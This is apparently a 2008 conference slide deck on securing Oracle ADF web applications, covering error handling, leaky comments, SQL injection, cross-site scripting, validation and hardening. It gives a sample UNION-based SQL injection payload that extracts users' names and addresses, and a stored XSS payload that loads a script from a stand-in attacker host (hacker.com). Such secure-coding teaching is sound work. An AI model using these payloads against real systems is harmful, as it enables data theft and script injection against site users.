1	Building Secure ADF Applications John Rydzy Dulcian, Inc. June 17, 2008
2	Overview No application is truly secure. Frameworks provide false sense of security. Developers build applications without thinking much about security. Any security framework must be used with caution. Can overcome numerous pitfalls by understanding how security holes are manipulated to compromise a system.
3	Reconnaissance Knowledge is the key to infiltrating any system. Framework being used Specific information about the code Data model Need to police the information broadcast about your system. Many of these potential security breaches can easily be plugged if you know how.
4	Error Handling (1) Errors are one of the most revealing sources of information about your system. Error messages are invaluable for debugging and fixing errors but have no place in production. Exceptions will be thrown for both anticipated and unforeseen errors. Visible error messages should be canned responses.
5	Error Handling (2) Oracle ADF-generated JavaServer Pages (JSPs) standard practice: <af:messages/> tag at the top of each page for error handling Can be used to display custom error messages to users More often uncaught exceptions and stack traces will be displayed. Can be revealing to someone analyzing a system for weaknesses. Exceptions could reveal information about the data model if thrown during a DML operation. May also indicate how input parameters are used in other areas of the system.
6	Sample Error Information
7	Generating Malicious Errors Malicious users may actively try to generate errors. Enter exceptionally long values. Enter wrong data types in fields. Enter special characters and keywords Incorrect Prevention: Place limitation on the fields in the actual page. Assumes that people using the system will play by the rules. Assume that a browser will be used to communicate between user and server. Certain utilities can be used to generate requests that would otherwise be impossible for the browser to generate.
8	Defense Against Error Handling Attacks Comprehensive server side error handling architecture Catch any uncaught exceptions Display canned error messages Add error handler to web.xml file Forward all Error 500 types that would normally display an error and stack trace to an Error page.
9	Comment Vulnerabilities (1) Comments are another area where information leaks occur. Good development practice is to thoroughly comment your code. Need to use comments with discretion where security is concerned. Comments entered on HTML/JSP pages may be visible to end users by looking at the source code for the page. Comments may reveal clues about what parts of the system may be vulnerable or incomplete.
10	Comment Vulnerabilities (2) Two types of comment tags for JSPs: <!– Remember to change the default admin password -> <%-- Admin password is Test --%>. Using <%-- --%>, the compiler will remove the comment when the page is compiled. Using <!-- -->, the comment will appear as part of the generated page Even if it does not appear in the rendered page in the browser, viewing the source code will reveal the comment.
11	Using Secure Comments Using JSPX files instead of JSP pages causes the compiler to remove comments from the compiled versions of the pages. BUT… also adds other comments to broadcast that you are using Oracle ADF. Take the time to view the source code of your compiled pages.
12	Attack Vectors Once a hacker has acquired enough information about a system, he/she can start probing the system for weaknesses. More ways to attack a system than to defend it Most common mistakes responsible for the majority of attacks.
13	SQL Injections Basic premise: Sometimes queries executed by an application are dynamically built using pieces of user-supplied information Example: A web page that allows you to search by some set of criteria.
14	Typical Search Query SELECT servicerequest.svr_id, servicerequest.status, servicerequest.request_date, servicerequest.problem_description, servicerequest.prod_id, servicerequest.created_by, servicerequest.assigned_to, servicerequest.assigned_date, assignedtouser.user_id, assignedtouser.first_name, assignedtouser.last_name, createdbyuser.user_id AS user_id1, createdbyuser.first_name AS first_name1, createdbyuser.last_name AS last_name1, TRUNC (request_date) AS view_attr, TRUNC (assigned_date) AS view_attr FROM service_requests servicerequest, users assignedtouser, users createdbyuser WHERE servicerequest.assigned_to = assignedtouser.user_id(+) AND servicerequest.created_by = createdbyuser.user_id AND (((servicerequest.svr_id = 100)))
15	Problem Entries Since you can search on any ID this might not seem like cause for concern, but entering the following is problematic: 1))) UNION ALL SELECT NULL, NULL, NULL, first_name \|\| ' ' \|\| last_name \|\| ' ' \|\| street_address, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM USERS WHERE (((1=1
16	Malicious Query SELECT servicerequest.svr_id, servicerequest.status, servicerequest.request_date, servicerequest.problem_description, servicerequest.prod_id, servicerequest.created_by, servicerequest.assigned_to, servicerequest.assigned_date, assignedtouser.user_id, assignedtouser.first_name, assignedtouser.last_name, createdbyuser.user_id AS user_id1, createdbyuser.first_name AS first_name1, createdbyuser.last_name AS last_name1, TRUNC (request_date) AS view_attr, TRUNC (assigned_date) AS view_attr FROM service_requests servicerequest, users assignedtouser, users createdbyuser WHERE servicerequest.assigned_to = assignedtouser.user_id(+) AND servicerequest.created_by = createdbyuser.user_id AND (((servicerequest.svr_id = 1))) UNION ALL SELECT NULL, NULL, NULL, first_name \|\| ' ' \|\| last_name \|\| ' ' \|\| street_address, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM users WHERE (((1 = 1)))
17	Query Results
18	Defending against SQL Injection How to prevent attacks? Eliminate dynamically built SQL and DML operations wherever possible. Replace them with predefined statements or view objects with bind variables. Bind Variables prevent invalid characters from corrupting statements DBAs happy since parsing and executing will be more efficient in the database. If still need to dynamically build SQL statements Perform input validation on any value coming directly from users.
19	Cross-Site Scripting (1) Basic premise: Malicious data input from an outside source and then transmitted to users without being validated for malicious content. Service request example: Add a new request and specify a problem description. Developer expects something like “Ice machine not working” What happens if user enters “Ice machine not working <script src=http://www.hacker.com/hack.js></script>”
20	Cross Site Scripting (2) Later when a user browses to a page displaying the service request problem, one of two things will happen: 1. The problem description will show up exactly as it was typed with scripting. 2. Or the actual problem description “Ice machine not working” will show up and the script tag will be executed and perform whatever operation is specified in the JavaScript library.
21	Outcome Differences Dependent upon whether output validation is performed If field is bound using Oracle’s ADF binding framework, value will be escaped. Invalid characters such as < and > will be changed to < and > respectively in the response Data gets rendered as text to be displayed by the browser instead of interpreted as code to be executed. Same value rendered through another tag that did not perform output validation (<% out.println(problem);%>) Script tag could be interpreted as code and executed. Even when using Oracle ADF, need to be wary of tag attribute “escape” when set to “False” Turns off output escaping Allows stored code to be added to a page. Attribute should only be enabled for data from a trusted source, or data that has been previously scrubbed.
22	Output Validation Data being output is subject to corruption if proper validation is not enforced. Web pages, reports, calls to web services, logs, anywhere that data input by a third party is utilized. Depending upon display format, offending characters may be new lines, tabs, tags, commas, etc. Output format should be reviewed for appropriate and inappropriate content to ensure that the data being output is valid for that format.
23	Input/Output Validation Two primary methods of performing Input/Output validation to prevent SQL injection, cross site scripting, and other types of attacks: Black lists ensure that no invalid characters are used, i.e. single quotes (‘). Problem if you did not anticipate a bad character in a blacklist. White lists check to make sure that only characters from an approved list are used (i.e. only alphabetic letters) White lists are typically considered more secure than black lists.
24	Client-Side Validation Client-side validation cannot be trusted as secure. All validation must be performed on the server side. End-users cannot be trusted. JavaScript embedded in web pages makes for a better user experience that provides immediate feedback. Cannot be trusted to properly validate input. Easily disabled on the client side Can be bypassed by creating a request manually using URL parameters. Avoid cleansing data and instead reject it.
25	Other Basic Precautions 1) Utilize software/hardware firewalls to control access to applications. 2) With small user base, limit exposure to user domains/IP addresses to reduce risk of being probed. 3) Investigate VPN to connect to an Intranet instead of exposing your application to the Internet. 4) Ensure all data transferred to/from site is encrypted Only way to access the site is via HTTPS 5) Make sure that Application Server is hardened. Remove unnecessary/unused components Demo/example software that comes with most Application Servers including Oracle. 6) Strictly control access to servers and source code.
26	Conclusions Presentation merely scratches the surface of all the possible ways of attacking web applications. Good starting point for thinking about security Base upon which to build other security practices. Remember: Try to prevent all sources of information leakage that could give away even the slightest hints about the system Validate and control all input sources.
27	Contact Information John Rydzy – jrydzy@dulcian.com Dulcian website - www.dulcian.com